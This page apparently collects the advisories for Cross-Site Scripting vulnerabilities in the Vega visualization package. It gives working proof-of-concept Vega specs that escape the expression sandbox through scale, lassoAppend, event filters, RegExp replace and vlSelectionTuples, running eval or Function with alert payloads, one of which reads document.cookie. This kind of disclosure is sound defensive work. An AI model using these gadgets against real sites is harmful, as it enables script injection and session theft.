All the vulnerabilities related to the version 5.7.2 of the package
Vega Expression Language scale
expression function Cross Site Scripting
The Vega scale
expression function has the ability to call arbitrary functions with a single controlled argument. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript.
The scale expression function passes a user supplied argument group
to getScale, which is then used as if it were an internal context. The context.scales[name].value
is accessed from group
and called as a function back in scale
.
The following Vega definition can be used to demonstrate this issue executing the JavaScript code alert(1);
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"data": [
{
"name": "XSS PoC",
"values": [1],
"transform": [
{
"type": "formula",
"as": "amount",
"expr": "scale('func', null, {context: {scales: {func: {value: scale('func', 'eval(atob(\"YWxlcnQoMSk7\"))', {context: {scales: {func: {value: [].constructor.constructor}}}})}}}})"
}
]
}
]
}
This can be viewed in the Vega online IDE at https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA
Vega has Cross-site Scripting vulnerability in lassoAppend
function
Vega's lassoAppend
function: lassoAppend
accepts 3 arguments and internally invokes push
function on the 1st argument specifying array consisting of 2nd and 3rd arguments as push
call argument. The type of the 1st argument is supposed to be an array, but it's not enforced.
This makes it possible to specify any object with a push
function as the 1st argument, push
function can be set to any function that can be access via event.view
(no all such functions can be exploited due to invalid context or signature, but some can, e.g. console.log
).
The issue is that lassoAppend
doesn't enforce proper types of its arguments:
.....
export function lassoAppend(lasso, x, y, minDist = 5) {
const last = lasso[lasso.length - 1];
// Add point to lasso if distance to last point exceed minDist or its the first point
if (last === undefined || Math.sqrt(((last[0] - x) ** 2) + ((last[1] - y) ** 2)) > minDist) {
lasso.push([x, y]);
.....
Use the following Vega snippet (depends on browser's non-built-in event.view.setImmediate
function, feel free to replace with event.view.console.log
or alike and observe the result in the browser's console)
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"width": 350,
"height": 350,
"autosize": "none",
"description": "Toggle Button",
"signals": [
{
"name": "toggle",
"value": false,
"on": [
{
"events": {"type": "click", "markname": "circle"},
"update": "toggle ? false : true"
}
]
},
{
"name": "addFilter",
"on": [
{
"events": {"type": "mousemove", "source": "window"},
"update": "lassoAppend({'push':event.view.setImmediate},'alert(document.domain)','alert(document.cookie)')"
}
]
}
],
"marks": [
{
"name": "circle",
"type": "symbol",
"zindex": 1,
"encode": {
"enter": {
"y": {"signal": "height/2"},
"angle": {"value": 0},
"size": {"value": 400},
"shape": {"value": "circle"},
"fill": {"value": "white"},
"stroke": {"value": "white"},
"strokeWidth": {"value": 2},
"cursor": {"value": "pointer"},
"tooltip": {"signal": "{Tip: 'Click to fire XSS'}"}
},
"update": {"x": {"signal": "toggle === true ? 190 : 165"}}
}
},
{
"name": "rectangle",
"type": "rect",
"zindex": 0,
"encode": {
"enter": {
"x": {"value": 152},
"y": {"value": 162.5},
"width": {"value": 50},
"height": {"value": 25},
"cornerRadius": {"value": 20}
},
"update": {
"fill": {"signal": "toggle === true ? '#006BB4' : '#939597'"}
}
}
}
]
}
This issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS setImmediate
polyfill basically allows eval
-like functionality).
Vega Cross-Site Scripting (XSS) via event filter when not using CSP mode expressionInterpeter
In vega
5.30.0 and lower, vega-functions
5.15.0 and lower , it was possible to call JavaScript functions from the Vega expression language that were not meant to be supported.
Patched in vega
5.31.0
/ vega-functions
5.16.0
Is there a way for users to fix or remediate the vulnerability without upgrading?
vega
without vega.expressionInterpreter
. This mode is not the default as it is slower.Reproduction of the error in Vega by @mattijn
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"signals": [
{
"name": "inject_alert",
"on": [
{
"events": [
{
"type": "mousedown",
"marktype": "rect",
"filter": ["scale(event.view.setTimeout, 'alert(\"alert\")')"]
}
],
"update": "datum"
}
]
}
],
"marks": [
{
"type": "rect",
"encode": {
"update": {
"x": {"value": 0},
"y": {"value": 0},
"width": {"value": 100},
"height": {"value": 100}
}
}
}
]
}
Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]
Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the vega-interpreter
.
vega
with expression interpreter5.32.0
)Calling replace
with a RegExp
-like pattern calls RegExp.prototype[@@replace]
, which can then call an attacker-controlled exec
function.
Consider the function call replace('foo', {__proto__: /h/.constructor.prototype, global: false})
. Since pattern
has RegExp.prototype[@@replace]
, pattern.exec('foo')
winds up being called.
The resulting malicious call looks like this:
replace(<string argument>, {__proto__: /h/.constructor.prototype, exec: <function>, global: false})
Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse event.view
to gain access to eval
.
{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","on":[{"events":"body:mousemove{99999}","update":"replace('alert(1)',{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})"}]}]}
XSS in Vega
Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. Vega in an npm package. In Vega before version 5.17.3 there is an XSS vulnerability in Vega expressions. Through a specially crafted Vega expression, an attacker could execute arbitrary javascript on a victim's machine.
This is fixed in version 5.17.3
Vega allows Cross-site Scripting via the vlSelectionTuples function
The vlSelectionTuples
function can be used to call JavaScript functions, leading to XSS.
vlSelectionTuples
calls multiple functions that can be controlled by an attacker, including one call with an attacker-controlled argument.
Example call: vlSelectionTuples([{datum:<argument>}], {fields:[{getter:<function>}]})
This can be used to call Function()
with arbitrary JavaScript and the resulting function can be called with vlSelectionTuples
or using a type coercion to call toString
or valueOf
.
{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","init":"+{valueOf:vlSelectionTuples([{datum:'alert(1)'}],{fields:[{getter:[].at.constructor}]})[0].values[0]}"}]}